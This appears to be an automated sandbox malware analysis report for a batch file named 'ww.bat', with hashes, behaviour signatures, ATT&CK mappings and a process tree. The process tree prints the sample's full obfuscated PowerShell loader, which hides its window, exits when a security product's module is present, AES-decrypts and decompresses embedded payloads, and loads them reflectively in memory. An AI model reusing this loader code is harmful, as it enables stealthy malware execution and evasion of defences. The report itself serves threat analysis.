3f3aac5794c2a2b79c0e6da9eb230e4c2131b620e883ab6e9c1b69fa34087548

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
12/09/2024, 07:37

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General

Target

ww.bat
Size

588KB
MD5

df63b5ec4a735892084303fbf770328e
SHA1

6eb0d6eda0588cd6157a8844c5daaf40b406429a
SHA256

3f3aac5794c2a2b79c0e6da9eb230e4c2131b620e883ab6e9c1b69fa34087548
SHA512

8fc074cb243eb431cd4d10dc63dde1208c49f2700f409d4154bbc6a7b14590050caa2262f87166599a2b6cd803eb097ddd828e2e582608d029d50db029bea1ef
SSDEEP

12288:HBloXJYKzydKURaKq+gCSq1gQGNBqv+gH776JP/KIOcRoo:7YgKURcWGQH+A3+/H+o

Score

3^/10

discovery

Malware Config

Signatures

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
804	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
804	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	804	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1864 wrote to memory of 2488	1864	cmd.exe	31
PID 1864 wrote to memory of 2488	1864	cmd.exe	31
PID 1864 wrote to memory of 2488	1864	cmd.exe	31
PID 1864 wrote to memory of 804	1864	cmd.exe	32
PID 1864 wrote to memory of 804	1864	cmd.exe	32
PID 1864 wrote to memory of 804	1864	cmd.exe	32
PID 1864 wrote to memory of 804	1864	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\ww.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1864
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\ww.bat';$pZqp='InvPTptokPTpte'.Replace('PTpt', ''),'LoCiHiadCiHi'.Replace('CiHi', ''),'CrJUeseaJUesteDJUesecrJUesypJUestJUesorJUes'.Replace('JUes', ''),'TrVbHuaVbHunsVbHuforVbHumFiVbHunalVbHuBlVbHuocVbHuk'.Replace('VbHu', ''),'CMYmOoMYmOpyMYmOToMYmO'.Replace('MYmO', ''),'SpXaEblXaEbitXaEb'.Replace('XaEb', ''),'FroNpismBaNpisseNpis64NpisSNpistrNpisinNpisgNpis'.Replace('Npis', ''),'DecoOHTompoOHTroOHTeoOHTsoOHTs'.Replace('oOHT', ''),'ReaGFEGdLGFEGinGFEGesGFEG'.Replace('GFEG', ''),'ElezxgdmenzxgdtzxgdAtzxgd'.Replace('zxgd', ''),'MaTQBGiTQBGnTQBGMoTQBGdTQBGulTQBGe'.Replace('TQBG', ''),'GetwsoICuwsoIrrwsoIenwsoItPrwsoIocwsoIeswsoIswsoI'.Replace('wsoI', ''),'ChaOuTangeOuTaEOuTaxOuTateOuTansiOuTaonOuTa'.Replace('OuTa', ''),'EnEvGPtryEvGPPEvGPoiEvGPnEvGPt'.Replace('EvGP', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($pZqp[11])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function qIYuI($pXYPC){$vcJFa=[System.Security.Cryptography.Aes]::Create();$vcJFa.Mode=[System.Security.Cryptography.CipherMode]::CBC;$vcJFa.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$vcJFa.Key=[System.Convert]::($pZqp[6])('RtUoResFzoC7uLDsMNXiqz+4O1P9Lz1x2usQzNAGROg=');$vcJFa.IV=[System.Convert]::($pZqp[6])('Z+pqV7++3qGGLoy90CNOvw==');$pFlAY=$vcJFa.($pZqp[2])();$IfZXr=$pFlAY.($pZqp[3])($pXYPC,0,$pXYPC.Length);$pFlAY.Dispose();$vcJFa.Dispose();$IfZXr;}function objTo($pXYPC){$IAuUa=New-Object System.IO.MemoryStream(,$pXYPC);$jblBX=New-Object System.IO.MemoryStream;$gPOxs=New-Object System.IO.Compression.GZipStream($IAuUa,[IO.Compression.CompressionMode]::($pZqp[7]));$gPOxs.($pZqp[4])($jblBX);$gPOxs.Dispose();$IAuUa.Dispose();$jblBX.Dispose();$jblBX.ToArray();}$rPjBm=[System.IO.File]::($pZqp[8])([Console]::Title);$Kypql=objTo (qIYuI ([Convert]::($pZqp[6])([System.Linq.Enumerable]::($pZqp[9])($rPjBm, 5).Substring(2))));$hvBrU=objTo (qIYuI ([Convert]::($pZqp[6])([System.Linq.Enumerable]::($pZqp[9])($rPjBm, 6).Substring(2))));[System.Reflection.Assembly]::($pZqp[1])([byte[]]$hvBrU).($pZqp[13]).($pZqp[0])($null,$null);[System.Reflection.Assembly]::($pZqp[1])([byte[]]$Kypql).($pZqp[13]).($pZqp[0])($null,$null); "
  2⤵
  PID:2488
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/804-2-0x0000000073F91000-0x0000000073F92000-memory.dmp

Filesize
4KB

Download
memory/804-3-0x0000000073F90000-0x000000007453B000-memory.dmp

Filesize
5.7MB

Download
memory/804-4-0x0000000073F90000-0x000000007453B000-memory.dmp

Filesize
5.7MB

Download
memory/804-5-0x0000000073F90000-0x000000007453B000-memory.dmp

Filesize
5.7MB

Download
memory/804-6-0x0000000073F90000-0x000000007453B000-memory.dmp

Filesize
5.7MB

Download
memory/804-7-0x0000000073F90000-0x000000007453B000-memory.dmp

Filesize
5.7MB

Download